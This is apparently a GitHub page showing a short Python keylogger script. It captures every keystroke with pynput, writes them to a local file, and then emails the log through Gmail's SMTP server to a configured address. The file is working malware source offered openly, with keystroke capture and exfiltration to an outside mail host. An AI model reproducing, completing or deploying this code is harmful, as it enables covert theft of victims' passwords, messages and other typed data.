-
Notifications
You must be signed in to change notification settings - Fork 0
/
Keylogger.py
60 lines (48 loc) · 1.5 KB
/
Keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pynput import keyboard
import smtplib, ssl
sender_mail = "" # Replace with email
receiver_mail = "[email protected]" # Replace email id
password = "T" # Enter Password
port = 587
message = """From: [email protected]
Subject: KeyLogs
Text: Keylogs
"""
def write(text):
with open("keylogger.txt", 'a') as f:
f.write(text)
f.close()
def on_key_press(Key):
try:
if (Key == keyboard.Key.enter):
write("\n")
else:
write(Key.char)
except AttributeError:
if Key == keyboard.Key.backspace:
write("\nBackspace Pressed\n")
elif (Key == keyboard.Key.tab):
write("\nTab Pressed\n")
elif (Key == keyboard.Key.space):
write(" ")
else:
temp = repr(Key) + " Pressed.\n"
write(temp)
print("\n{} Pressed\n".format(Key))
def on_key_release(Key):
if (Key == keyboard.Key.esc):
return False
with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
listener.join()
with open("keylogger.txt", 'r') as f:
temp = f.read()
message = message + str(temp)
f.close()
context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail, password)
server.sendmail(sender_mail, receiver_mail, message)
print("Email Sent to ", sender_mail)
server.quit()